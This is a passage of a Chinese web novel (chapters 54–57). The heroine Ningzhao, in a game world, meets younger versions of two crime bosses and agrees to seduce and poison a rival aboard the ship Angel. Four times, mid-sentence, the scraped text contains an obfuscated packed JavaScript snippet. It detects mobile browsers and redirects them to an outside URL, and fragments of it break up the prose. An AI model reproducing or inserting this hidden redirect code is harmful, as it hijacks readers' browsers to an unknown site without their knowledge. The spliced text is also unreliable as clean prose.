她是被克洛斯摇醒的。 迷迷糊糊睁开眼，突然来的明亮灯光刺得宁昭又闭上了眼睛，缓了半分钟后才再次睁开。 看清面前的景色，她不免觉得震撼——出现在她眼前的，赫然是一栋灯火通明、极尽奢华的别墅。 倒不是没见过这样的别墅，只是这样的别墅竟然坐落在沙漠里，不免让人感觉割裂。 “醒了？” 看到宁昭的表情，克洛斯侧开身：“这里的空房间有很多，今天就在这里凑合一下吧。” 果然，克洛斯还是那个克洛斯。虽然性格有翻天覆地的反差，但财力却还是一如既往地雄厚。 “好。” 她下了车，跟在克洛斯身后一起进了别墅。 一进门便迎上了两个穿着黑色西装的男人。他们走到克洛斯面前，毕恭毕敬地向他点头：“二哥，您交代的事都处理好了。” 他们面朝克洛斯，低着头，态度谦卑恭敬，连眼神都没分给宁昭一个。 似乎对他们的反应很满意，克洛斯点点头：“回去休息吧。剩下的事明天再说。” “是。” 交代完这些，克洛斯让他们离开，随后便领着宁昭去坐电梯。 因为心里在盘算着要怎么离开，宁昭没空打量四周的装修，一直到电梯门在她面前合上，她这才下定决心：“克洛斯。” “怎么了？” 按亮三楼的按钮，克洛斯转头看她。 “你这里有没有世界地图？” 思虑再三，宁昭还是决定搏一搏现在这个克洛斯的同情。 “世界地图？” 意外宁昭会问这样的问题，克洛斯挑挑眉，随即摇头：“抱歉，这里没有。不过如果你需要，我明天叫人去买。” 没想到克洛斯这么好说话，宁昭松了口气，心底对他的抵触不自觉少了些：“谢谢你。” “不用一直跟我说谢谢。” 叮的一声，电梯到了。克洛斯侧身示意她先走：“走吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583733|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他拧开一个房间的门：“你今天就住在这里。” 入目是一个宽敞干净的房间。装修以黑白调为主，虽然极尽简约却丝毫不失高级感，与这栋别墅的外形十分搭配，看着就让人感觉到舒适。 “不用说谢谢。” 预判到宁昭的下一句话，克洛斯率先出声：“如果你真想道谢，不妨告诉我，我是不是有哪里做得不好？不然你为什么会对我这么抵触？” 哪怕宁昭觉得她已经伪装得很好，却依旧被他看出了破绽。 “……” 她语塞。 “没关系。” 看出宁昭不想解释，克洛斯没多说什么，只是脸上的表情很淡，不知道在想些什么：“你先休息吧，晚安。” 直到将门锁好，宁昭这才产生一种不切实际的幻灭感。 她竟然能在克洛斯手里活这么久，并且他见到她的第一反应竟然不是想睡她。 这也太不正常了吧！ 当然，这对于宁昭来说是好事。也许因为这是支线任务的缘故，游戏不会太过为难她。 毕竟它能安排克洛斯来救她于水火，这也说明了她命不该绝。 将身上的裙子脱下来洗干净，又在浴池里泡了个很舒服的澡。想到明天就可以拿到地图回家，宁昭的心逐渐安定下来，再也没有白天那样的惊恐与绝望。 一夜无梦。 她是被阳光照醒的。太阳透过两层薄如蝉翼的纱质窗帘照射到床上，宁昭睁开眼，看到高悬在外的大太阳，不由得缓冲了几秒，略有些宕机的大脑这才回神。 看到时钟已经指向“10”，宁昭赶忙起身洗漱，想尽快下楼去问问克洛斯地图买来没。 谁料，当她顺着记忆去到一楼后，却没有看到任何人的身影。 “克洛斯？” 宁昭试探性地叫了一声，但回应她的只有空荡荡大厅里不断萦绕的回声。 这时，耳后传来水声。声音隐约含糊，但在空无一人的别墅的衬托下，显得十分清晰。 没有犹豫，宁昭转身就往发出声音的地方走。 这栋别墅内部装修得极其豪华，虽然整体坐落在沙漠里，但该有的设备一点都不少，甚至，在别墅的后花园里还有一个规模很大的人造泳池。 泳池正在换水，刚才宁昭听到的水声就是从这里发出来的。 “你是谁？” 慵懒的男声冷不丁出现在身后，吓了宁昭一跳。她转过身，却在看到来人时身形渐渐僵硬。 沈书言穿着件花色衬衫，领口的纽扣敞开了大半。他俊美如常的脸上挂着戏谑的笑，眼中也多了些看好戏的意味：“哦，我想起来了，你是克洛斯的女人，他昨天刚带回来的。” 说到这里，他上下打量她一眼，随后给予了一个非常高的评价：“确实非常漂亮。” “……” 宁昭要怒了。 但她很快就冷静了下来。 面前的沈书言，显然也不是她认识的沈书言。除了这副让人恼火的欠揍态度太过离谱以外，他的发型也对不上号。 不是纯良忠犬队友哥的微分碎盖，而是酷帅狂霸黑老大的大背头。 54. 沙漠生存指南 如果没猜错，宁昭应该是回到了沈书言与克洛斯还年轻的时候。 这样说有点奇怪，毕竟他们也没有多老。 只不过面前的沈书言虽留着让她陌生的发型，却和克洛斯一样，看起来更稚嫩。目测不过二十岁上下，眉眼间也没有原来那股看穿世间一切的冷漠。 见宁昭不说话，沈书言毫不在意，走到泳池旁的躺椅上坐下，从口袋里摸出一包烟，抽出一根熟稔地点燃。 他慢悠悠吐出一缕烟雾，抬眸看了她一眼，随后轻笑：“战况挺激烈的。” ？ 看到他的眼神，宁昭这才后知后觉她脖颈间似乎还残留着昨晚沈书言在她身上留下的吻痕。 昨晚她披着头发，所以不惹人注意。今天她随手把头发扎了起来，白皙的脖颈暴露在空气中，那抹殷红看起来就很扎眼。 现在，这些痕迹的“始作俑者”正在用一种看热闹的语气和她说话。虽然知道面前的男人没有错，但宁昭还是多多少少感觉到一丝不爽。 见她脸色难看地坐下，沈书言挑挑眉，像是来了兴致：“你不开心？他强迫你了？” “……” 他已经默认她是克洛斯的女朋友了。 宁昭很想问问他和克洛斯究竟是什么关系，为什么三句话不离他，还会出现在他的家里。 不过，她还有更关心的事情。 “昨天在沙漠里那只见死不救的狐狸，是你对不对？” 本以为她只是意外被困在沙漠里，宁昭根本没多想。但在看到沈书言和克洛斯出现后，她意识到自己已经处于和原来截然不同的时空，一切都不能按原本的逻辑进行推断。 所以，再想到那只狐狸，宁昭几乎可以100％断定，他就是沈书言。 面对他，她总是有一股天然的第六感。 果然，他的眸中闪过深意，虽然很短，却被宁昭灵巧捕捉。 这次沈书言不说话了。他把烟叼在嘴里，指尖夹着打火机缓缓把玩，看宁昭的表情也多了几分审视。 好像从现在开始，他才拿正眼去看她。 “救人不是你的义务，我没有在指责你。” 她在躺椅上坐下，顺手摘下头上的发圈，头发散开，不动声色地遮住了她的脖子：“只是没想到我们还能再见面吧？” 如果说每次都能在“偶然”间遇到沈书言，那又何尝不是上天在暗示他们两个之间有缘分呢？ 从未见过沈书言如此陌生的一面，宁昭心底略有落差，但并不难受。相反，她很高兴自己能有机会去接触他的过去，虽然他目前的态度轻佻又不羁，但这也让她感觉到新奇。 她想要探索这个她喜欢的男人。 “不错，还算有脑子，不是个花瓶。” 他靠到躺椅上闭目养神，说话并不客气：“要记仇就记吧，我无所谓。” 这幅全世界都奈何不了他的样子是真拽啊。 “大哥，大哥——” 就在两人沉默着没说话时，耳边忽然传来急迫的男声。随后，一个穿着黑T恤的男人匆匆跑过来：“完了啊大哥！” “一惊一乍的，你烦不烦？” 沈书言不耐烦地啧了一声，抬脚就把男人踹到了泳池里，动作一气呵成、没半点犹豫。 但泳池里的男人却像已经习惯了他的暴行，扒着泳池边继续给他汇报工作：“边境那边出了点问题，本来和□□已经定好了昨晚交货，结果突然被截了，二哥知道后立马就去了，但是现在联系不上他，我怕出事……” 看着他的脸，宁昭终于想起来了。 他就是她之前在克洛斯为她设置的幻境里看到的那个名叫“小五”的男人。 “他死不了。” 沈书言随手扯了一边的浴巾扔到男人头上：“去洗个澡，身上脏死了。” 宁昭这才注意到，小五的身上确实很脏。大概是身处沙漠的缘故，他脸上沾了许多风沙和灰尘，虽然泡在水里，但看起来还是不太干净。 “那二哥怎么办啊？” 离开前，小五还是不放心地问道。 “你再不快点，待会就等着给他收尸吧。” “我现在就去洗澡！” “十分钟滚下来。” “五分钟就够！” 话音落下，小五已经一溜烟跑远了。 “你和克洛斯是朋友？” 虽然心中很震惊，但宁昭表面却依旧表现得不显山露水：“你们关系很好？” “好奇心挺旺盛。” 沈书言起身：“在家好好待着，哪都别去。这里信号不好，方圆百里都没人，别好不容易捡回来一条命，自己又给作没了。” “你要留我一个人在家里吗？” 见他走远，宁昭忙跟了上去：“我要和你一起去。” “猜不出来我是干什么的？” 说话的功夫，沈书言不知从哪里摸了副墨镜戴上，径直朝别墅的后方走去。 “你们该不会是在贩……” 虽然心中有了猜测，但宁昭还是不愿相信他以前做过这么丧尽天良的事。 “毒？” 感受到宁昭的欲言又止，沈书言嗤笑了声：“你这女人不仅好奇心旺盛，想象力也挺丰富。” 他甚至都不用看宁昭的表情，就知道她在想什么。 “所以你不是？” 听到这个答案，宁昭暗自松了口气。 “□□电影看多了。” 沈书言停下脚步，伸手点了一下她的额头，力道还不小：“我只负责捞人，把你千奇百怪的脑补能力收一收。” “……” 别墅的后面隐隐约约传来机器轰鸣的声音，越往前走，声音就越大。 推开后门，入目是一片宽阔的停机坪，一辆直升机停在那里，已经在预热中。 “不怕死的话，可以跟上。” 沈书言咬着烟走过去：“要是克洛斯真死了，死前看不到你他也难受。” “我和他没关系。” 宁昭没好气地怼了他一句。 虽然不明白她的脾气从何而来，不过沈书言并不在乎，对着她拍了拍座位：“上来吧。” 小五的速度果然很快，刚好五分钟的功夫就准时出现在停机坪，飞机起飞也不过就是几分钟之后的事。 年轻时的沈书言完全把松弛感拉到了极致，一上飞机就像大爷一样靠着椅背睡觉，不紧张也不急迫，好像克洛斯的生死与他无关，也没把任何一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617101|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人放在眼里。 因为戴着墨镜，宁昭看不到他的表情，所以她下意识觉得他已经睡着了，不由得多看了他一眼。 结果没看几秒，沈书言就冷不丁出声：“爱上我了？” “不行吗？” 被戳破心事的宁昭并不尴尬，反而直接正大光明地看向他，表情坦坦荡荡。 “行啊。” 他顺手摘下墨镜扔到一旁，好整以暇地看她：“没想到我魅力这么大，不过见了一面，就获得了大美人的芳心。” 说话好贱啊，这哪里是沈书言。 小五听到他们的对话，默默问了一句：“大哥，我刚刚就想问了，她不是二哥带回来的女人吗？” 怎么现在他们两个开始打情骂俏了呢？ “我只是昨天在沙漠里被克洛斯救了，和他不是那种关系。” 意识到现在所有人都认为她和克洛斯是一对，宁昭觉得她有必要解释清楚。 “不可能啊，二哥从来都不是多管闲事的人。” 小五觉得奇怪，摇了摇头，显然不信她的话：“美女，你最好不要和我大哥来往过密，二哥发起火来很吓人的，我怕你招架不住。” 这倒是确实。宁昭想到克洛斯威胁她的样子，生硬地扯了扯嘴角。 “是不是想死？” 沈书言一脚踹在小五的椅背上：“给老子闭嘴。” 小五从小到大就这德行，情商不高，什么话都敢说，但偏偏忠诚又效率，所以沈书言留他到现在，给他的特权也是其他人都没有的。 只是不知道为什么，听到小五刚才说的话，他莫名感觉有些不爽。 索诺拉沙漠本身就位于美国与墨西哥的交界处，所以从别墅到目的地只要二十分钟，很快飞机就降落了。 他们来到了墨西哥边境的一个小镇。 虽然靠近发达国家，但小镇看起来并不繁华。到处都是低矮的平房，路上来往的都是外国男人，他们肤色黝黑，身上穿着被汗水浸透的白色衣衫，各自都在不停地劳作。 空气中黄沙簌簌，烈日当空。下了飞机，汹涌的热意滚滚而来，强劲的紫外线照射在宁昭脸上，让她下意识伸手去遮挡迎面照过来的太阳光。 “别怪我没提醒过你。” 将宁昭的小动作收尽眼底，沈书言给他扔了把伞：“自己打。” 将伞默默撑开，确认彻底挡住太阳光后，宁昭抬头去找沈书言，却发现他已经走远。 她一路小跑跟上去：“等等我……” “我会给你安排一个安全的地方。” 他边走边说：“到了那里别乱跑，等我找到人去接你。” “你知道他在哪里？” “你很关心他吗？” 听到这话，宁昭忽然觉得面前这个男人和她以前认识的沈书言有点像了。 只要一提到别的男人，他就会自动变成这副模样。 但如果说以前的沈书言会这样问是出于对她的喜欢，那现在的沈书言呢？ “沈书言……” 莫名的情绪涌上心头，宁昭不自觉就叫了出来。 不料，沈书言却顿住身形，侧头睨了她一眼。 “你怎么会知道我的名字？” 55. 沙漠生存指南 “是你告诉我的。” 宁昭丝毫不慌，脸不红心不跳。 “……” “对了，我叫宁昭。” 想到现在的沈书言还不知道她的名字，宁昭贴心地和他作了自我介绍。 这样的感觉很奇妙，就好像他们又重新认识了一次，但沈书言却不懂这其中的弯弯绕绕，只意味深长地看了她一眼，随后便收回了视线。 小镇不大，他们只走了一会就到达了目的地。 一个极具风情的墨西哥酒吧出现在面前，它藏在街角，牌匾看起来有些破旧，依稀可以分辨出几个西班牙文字，也许是靠近美国的原因，看起来颇有美式风情。 没想到室内别有洞天。空气中弥漫着淡淡的草木气味，就像森林沐浴过松叶的清香，闻着让人感觉头脑清醒，并不像宁昭以往去过的酒吧那般乌烟瘴气。 酒吧内灯光昏暗，外面的阳光很难透过窗沿打进来，这样的环境导致吧台的人昏昏欲睡，直到沈书言屈起手指在他面前的桌上敲出声响，他才猝然惊醒。 “大哥！” 前台的人垂死病中惊坐起，一个激灵便站了起来：“他们已经在等您了！” “门锁好。” 交代了这句后，沈书言就顺着地下室的楼梯径直下了楼。 就像许多电影里一样，上面的酒吧只是一个幌子，真正暗藏玄机的地方其实在下面。 这让宁昭想到《塞尔维亚的舞女》那个副本，金越的办公室也是设置在酒吧的下面。 房间里坐着一群穿着黑色西装的男人，看到沈书言进门，他们唰唰起身：“大哥。” 这场面也忒像□□碰头了，看得宁昭一边惊叹沈书言这么久以来的深藏不露，一边心想等她回去了一定要去未来的沈书言耳边唱几句“我不做大哥很多年”。 “说。” 沈书言将一直放在手中把玩的墨镜扔到桌上，走到办公桌后坐下，漫不经心的眼神扫过在场的每一个人，带来摄人心魄的寒意。 “大哥，□□给我们设了圈套。来截货的人其实是他自己安排的，二哥知道被耍之后很生气，一个人去找他，现在下落不明。” “你以为他不知道那是圈套？” 沈书言睨他一眼：“金越呢？” 听到这个名字，宁昭心下一动。 “大哥。” 门再次被打开，站在门口的正是许久未见的金越。 “二哥没让我跟着，他让您去天使号找□□。” 他走到沈书言的办公桌前：“我已经跟时也打探过情报，他说□□的目标不是二哥手里的货，而是……” 说到这里，金越陷入片刻的沉默。 “您手里虚妄之都十分之一的控制权。” “呵……” 沈书言笑了，露出果然如此的表情：“钱是不缺了，现在开始惦记别的东西了。” “那我们现在……” “□□精心为我准备了一场鸿门宴，这面子我能不给？” 沈书言抬头看向金越，挑挑眉：“你愿不愿意跟我干一次？” “任凭吩咐。” 听到二人的对话，宁昭还没搞清状况。 从目前的情况看来，沈书言和金越明显是相互认识的关系。 那为什么在她经历第一个副本时，他们两个看起来就像是陌生人一样？明明他们二人的长相都没有发生变化。 还有刚刚金越提到的时也，也引起了宁昭的注意。 原来兜兜转转，大家都认识。 虽然不知道接下来会发生什么，但既来之则安之。有沈书言在，宁昭便不急着回去了。起码，她想看看他和克洛斯之间究竟发生了什么，才会决裂到未来那种地步。 她也想知道，为什么虚妄之都的控制权最后会全权落到克洛斯的手里。 现在她身处过去，兴许，还能做出一些改变。 抱着这样的心态，当沈书言的目光再次落在宁昭的脸上时，她看了回去：“我也要去。” “你是真不怕死。” 沈书言仿佛在听笑话：“这里会有人保护你，别动歪心思，哪里都不准去。” “大哥，我怎么觉得带着这个美女可能更好一点？” 在一旁一直没吱声的小五开口了。 沈书言看向他，示意他说下去。 “□□最喜欢美女，如果用美人计，说不定可以放松他的警惕……” 眼见着沈书言的脸色变得越来越黑，小五立马噤声，眼睛目视前方，好像自己什么都没说过。 “你是觉得我无能到连□□都搞不赢，还需要靠出卖女人来放松他的警惕？” 看到小五紧张兮兮的模样，沈书言轻笑一声：“等克洛斯回来，我会把你编排他的事情一五一十地告诉他。” 小五汗流浃背。 “你说那个叫□□的人坑了你们一次，难道你们不想再坑回来吗？” 他没说话，反而是宁昭开口了。她双手环胸，站在沈书言办公桌边，居高临下地看他：“既然小五说用美人计能更快达成目的，何必再费那么多的劲？” “你愿意？” 见她态度如此，沈书言觉得意外。 “都什么年代了，为了达到目的略施小计有何不可？又不是让我去献身，只是转移注意力而已，我乐意帮忙。” 看到沈书言沉思的表情，宁昭开门见山：“不过我有条件。” “你不妨说说。”沈书言来了兴致。 “你刚才说，克洛斯明知是圈套却还是跳了进去，这就说明他别有目的。” 其实宁昭也不清楚具体情况，只是通过她对他们的了解进行合理推测：“他不是意气用事的人，既然这么做，就说明他想搞一波大的。我猜，他也许是想趁这个机会清算一下□□，比如……趁机把他手里的东西都拿过来？” “继续。” “我可以帮你，但条件是，在你们事成之后……” 她思忖片刻，随即下定决心：“我要你手里五分之一的控制权。” “你这女人野心不小。” 他笑了，但言语中却听不出讥诮：“可以。” 这就答应了？ 宁昭原本只想要十分之一，她以为他会跟她讨价还价才张嘴要那么多的，却没想到他连一句嘲讽都没有，答应得这么爽快。 “大哥！” 没想到自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660762|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的提议会带来这样的后果，小五顿觉毛骨悚然：“我只是提个建议，没有别的……” “你闭嘴。” 沈书言打断他，可眼神却一直落在宁昭身上：“不过我看中的并不是你的美貌，而是你的技能。” 说罢，他从抽屉里抽出一张地图：“收好了，会有用到它的时候。” 果然，他什么都知道。 “天使号会在今晚驶离，从这里到港口需要两个小时的时间。” 虽然时间还早，但金越还是提前叮嘱了一句。 不久后，宁昭的面貌已经截然不同。 来虚妄之都后她一直都是素面朝天，根本没精力去化妆，于是她呈现在人前的状态大多比较清冷，有种遗世独立的出尘感，总让人觉得不好接近、遥不可及。 这次有用到美貌的时候，她用尽全身解数化了一个微醺混血芭比妆，配上一头蓬松的金发，美得连她自己都揽镜自赏了好几分钟才出门。 “我的妈呀……” 一出门，沈书言还没什么表示，小五的惊叹声就先传了过来：“你这么漂亮，怎么会沦落到被困在沙漠里的地步啊？是有人故意把你丢在那里的吗？” 面对如此近距离的美貌冲击，小五眼睛都看直了，而宁昭只是僵硬地扯了扯嘴角。 她对容貌向来自信，甚至是自负。从小到大她就包裹在善意里长大，就连进入百花齐放的娱乐圈也是一路坦途，在颜值这条赛道上几乎无人能敌。 直到进入这个游戏后她才明白，这张脸不是万能的。它也许能为她带来便利，但它不能帮她活命，也不能救她于水火，有时甚至还会害死她。 还不如多学一些生存技能实用。 “你很懂如何演好一个花瓶。” 沈书言一直靠在椅子上小憩，听到动静，他掀了掀眼皮，眸中顷刻间涌动出一抹复杂的神色。 目光逐渐落在她身上的红裙上，就是这一眼，看得宁昭心绪慌乱。 这条裙子是沈书言在贝尔格莱德给她买的。第一次副本结束后，她把它收在背包里，没想到竟然还会有用得上的地方。 甚至，这次的目的地也和上次一样，都是天使号。 就好像老天爷在冥冥中安排好了一切，他们所有人的命运都将逐渐形成一个闭环。 宁昭心中小鹿乱撞，沈书言却没发现异样。他收回视线起身：“走吧。” 背影颀长又冷漠，再一次把她扔在了身后。 心中的期待被冷水浇灭。她好想念未来那个有求必应的沈书言。 * 为了避免引人注目，到达港口后，他们选择了分头行动。两人在船上要装作不认识，直到宁昭打入内部，去到□□的身边。 上船前，她按了按腰间藏着的毒针。 “□□的命，换虚妄之都五分之一的控制权。” 想到分道扬镳前沈书言对她说的话，她心底不免还是觉得紧张。进入游戏这么久，见过不少杀戮也碰到过非自然灵异事件，但她从没有亲手弄死过一个人。 不成功便成仁。抱着这样的想法，宁昭提着裙摆，踏上了天使号的甲板。 “您好，女士。请出示您的邀请函。” 56. 沙漠生存指南 宁昭手里当然没有邀请函。不过她丝毫不慌，反而一脸惊讶地看向那两个拦住她的黑衣人：“柯尔特说让我上船后直接去找他，难道这也需要邀请函吗？” 那张比芭比娃娃还精致的脸上顿时露出委屈的神色，眸中波光流转：“我要告诉他，你们不让我上船！” 语气中含着满满的控诉，一副被冒犯到的老板的小情人模样，好像她下一秒就要去跟柯尔特告状，无理取闹地让他找他们算账。 “抱歉小姐，您消消气，请上船。” 黑衣人汗颜。大概是从未见过像宁昭这么漂亮的女人，他们甚至没产生过半秒的怀疑，点头哈腰就请宁昭上去，心里已经开始发虚，只希望这位老板的新宠不要找他们的麻烦。 见他们态度180度大转变，宁昭收放自如，骄傲地扬了扬下巴：“下回看到我注意着点，再拦我我可饶不了你们！” 完全把一个目中无人、高傲嚣张的花瓶演绎得淋漓尽致。 不少人循着声音看过来，在看清宁昭的长相后，有的人面露惊羡，有的人窃窃私语，更多的是那些男人令人不适的凝视目光，通通都落在了她的身上。 但宁昭却无视了这些目光，提着裙摆正大光明地走进了船仓，只留下一个引人遐想的窈窕背影。 好演员要有把任何场景当成拍摄现场的能力。 安全上船后，她并没有露出破绽，而是依旧保持着高傲的姿态，顺着记忆中的路线走到了宴会厅。 此刻已经接近傍晚，游轮等待离港，宴会即将开始，宁昭穿过人群，径直走到了后台。 另一边。 “那个女人是谁？” 时也在沙发上坐下，看向一旁戴着墨镜的沈书言，轻笑一声：“你的目光一直停在她身上。” “你废话真多。” 沈书言纹丝不动，懒懒说了这么一句，姿态依旧慵懒随意：“她长得那么漂亮，我多看几眼怎么了？” “别嘴硬了，你不是这种人。” 时也晃了晃手中的酒杯，仰头喝了一口：“这酒味道不错，你要不要尝尝？” 沈书言顺手接过一旁的酒杯喝了一口，冰凉的液体入喉，却没能浇灭他内心的烦躁：“我要柯尔特死。” “稍安勿躁。” 看着沈书言一脸不爽的表情，时也挑眉：“明明是你安排她去接近柯尔特，怎么现在自己反而坐不住了？你不相信她能杀了他？” 沈书言没说话。 “色字头上一把刀啊，沈书言。” 他意味深长地看着他。 听出时也的一语双关，沈书言摘下墨镜，仰头把杯中的香槟一饮而尽。 见状，时也不再多说，起身离开。而沈书言再去看，视线里已经没了宁昭的身影。 * 只要鱼饵够诱人，就不怕鱼儿不上钩。 天使号驶离港口的十分钟后，宴会准时开启。然而，这次的开场却与寻常的宴会有些不同。 全场灯光骤暗，只有正前方的舞台上打下一束光。接着，会场内忽然响起萨克斯的声音，红色的帷幕缓缓拉开，露出一道曼妙高挑的红衣身影。 海藻般的长发披散在身后，隐约遮住她的伶仃细腰。宁昭手中夹着一支玫瑰，随着音乐的节奏律动转身，露出一张戴着半截面具的脸。 台下众人顿时屏住呼吸，朝台上那抹最惹人注意的色彩看去。 除去演戏外，跳舞是宁昭最擅长的技能。只要她走上舞台，她就能确信自己的状态是最自信最完美的。 这些年来大大小小的舞台已经让她形成肌肉记忆。伴随着鼓动感逐渐变强的音乐，她舞动的姿势曼妙又流畅，即便只能看清她窈窕的身段，也让人欲罢不能，不舍得移开半秒的视线。 尤其是台下站在第一排的一个外国男人，看得眼睛都直了。 这一曲并不长，却足够形成强烈的视觉冲击。随着音乐声结束，宁昭状似无意地揭开面具，露出那张惊为天人的绝世容颜，引得台下纷纷发出惊讶的唏嘘。 而她却只是自顾自将手中的玫瑰投给那神情恍惚的男人，随后便拎起裙摆谢幕，离开了舞台。 动作一气呵成、毫不扭捏做作。就像12点后必须离开宫殿的辛德瑞拉，走得匆忙，只留下还没缓过神来的观众，还有那个被一朵玫瑰就勾走了魂魄的外国男人。 等待鱼儿咬钩还需要一段时间。宁昭从后面悄然下台，全场灯光很黑，暂时没有人注意到她的身影。 她站在阴影处，想等灯光再次亮起时再出去，然而，手腕突然传来一阵拉力，紧接着她便被拉入一个熟悉的怀抱。 之所以说熟悉，是因为鼻尖的香气她闻过许多次，早就已经印象深刻、深入骨髓。 “沈书言，你干什么？” 宁昭刻意压低了声音，伸手抓住他胸口的衬衫：“快放开我，马上就要开灯了。” “我后悔了。” 声音从头顶落下，语调是一如既往的戏谑，让宁昭一时间分不出他到底是认真的，还是只是在开玩笑。 “说话要算话，怎么能反悔？” 宁昭觉得他无赖：“我钩子都放下去了，就差临门一脚，你现在想耍赖，门都没有。” 虽然嘴上说得厉害，但她被他拥在怀中，却没有半分想推开他的冲动。甚至，在这个无人在意的时刻，她开始怀念沈书言的拥抱。 “我那天确实不该见死不救。” 本以为沈书言说的是让她暗算柯尔特的事，却没想到他的重点完全不在这里：“愿意做到这个地步，究竟是为了我手里的权力，还是在担心克洛斯的安危？” 听到他这样说，宁昭心里莫名其妙产生一种被击中的感觉。 “你为什么会觉得一个男人可以和实打实的权力相提并论？” 虽然心底有些荡漾，但宁昭稳了稳情绪，语调依旧冷静。 “不错，你知道自己想要的是什么。” 他稍一用力便将她压在墙上，一只手勾起她的下巴，距离近到再往下一点，他们的唇瓣就会贴在一起。他炙热的呼吸就这么喷薄在她的鼻尖：“可你为什么会那么了解他？” 克洛斯？ 再迟钝的人都能意识到今天沈书言提到他的频率有些过高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689929|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，更何况是宁昭。 氛围到这里，她再不接招，倒显得她不解风情。反手按住沈书言的胸口，感受到他骤然紧绷的身躯，她笑笑：“其实我更了解你。” “怎么说？” 耳边尽是吵闹的音乐与人声，不过因为他们之间的距离够近，她才能听清他低沉喑哑的嗓音。 “你能看穿我的技能，那你能看出我是从哪里来的吗？” 放在沈书言胸口的手渐渐下移，薄薄的衬衫聊胜于无，指尖尽是他身躯炙热的温度。 “……” 感受到他的身体越来越僵硬，宁昭知道自己猜对了：“哪怕是亲手创造了这个世界的你，也看不透我的心。但你这个人，却明明白白的摊开在我面前，甚至——” 她的手落到他腰间，在他左边胯部稍微往上一点的位置，她指尖在那里摩挲了下：“我还知道你这里有颗痣。没错吧？” “宁昭。” 沈书言抓住她的手腕，表情不再像刚才那样玩世不恭：“告诉我，你是谁。” “你不是已经说出我的名字了吗？” 耳边是主持人谢幕的声音，这场晚宴正式开始，灯光即将打开。宁昭不动声色地推开他，提起裙摆：“沈书言，你生来就是要和我在一起的。” 说完这句话，全场灯光亮起，而他的面前已经不见了人影，只有她身上那股浑然天成的冷香，依旧停留在他的鼻尖。 “去找。” 耳边传来略显激动的男声。 沈书言抬眸看去，发现远处的柯尔特正低头和身旁的黑衣男子在交代些什么。 “把刚才那个女人送到我的房间。” 虽然距离有些远，但沈书言还是听到他这么说。 * 在上船之前，宁昭已经在心里写好了一个剧本。除了刚才与沈书言发生的小插曲之外，一切都在按照她规划的剧情平稳上演。 她走上六楼，看到熟悉的走廊，心中顿时产生一种恍若隔世之感。 按照此刻的时间线来算，未来的某一天，她会再次踏入这条走廊。而就在她踏入走廊的一个小时之后，这艘天使号就会在漫天的火光中化为灰烬。 收起心中的杂乱思绪，宁昭顺着走廊一路走到底。到达熟悉的办公室门前，保镖拉开门：“小姐，请进。” 关门声在身后响起，宁昭环视一圈，发现这个办公室和她之前见过的有些不同。起码，此刻，这个办公室里没有那扇可以站在楼上俯瞰宴会厅的巨大落地窗，楼下的一切纸醉金迷，都与上面无关。 “你来了。” 耳边传来低沉又兴奋的男声。宁昭抬头，发现一个端着香槟杯的外国男人正靠在内室的门旁，笑着看她。 不用想，这个人肯定就是柯尔特。 他看起来有些老了，约莫四十五岁上下，身形微胖，长相实在算不得英俊，在他那双色眯眯的眼睛的衬托下，更是让宁昭打心底里感觉反胃。 但她脸上却是明媚又狡黠的笑意：“是你让我过来的吗？你是谁？” 说话时，她的指尖已经夹住那根泛着冷光的银针。 57. 沙漠生存指南 她笑得纯洁天真，连眸中那抹精明都隐藏得很好。柯尔特色迷心窍，根本没有发现她的异样。 “你能上这艘船，却不知道我是谁？” 柯尔特走进她，笑着摇摇头：“这朵玫瑰是你递给我的。” 说罢，那朵玫瑰又回到了宁昭的怀里。 她不甚在意地将玫瑰扔到地上：“我随手扔的，你以为我是故意的？” “生气了？” 看到宁昭轻佻的动作，柯尔特反而更有兴味。他走上前，没有贸然对她动手动脚，而是以一种审视的态度打量了她全身：“漂亮的女人有点脾气是应该的。” “你找我来有什么事吗？” 虽然柯尔特眼里的兴味已经藏无可藏，但宁昭依旧明知故问，和他保持着一定的距离。 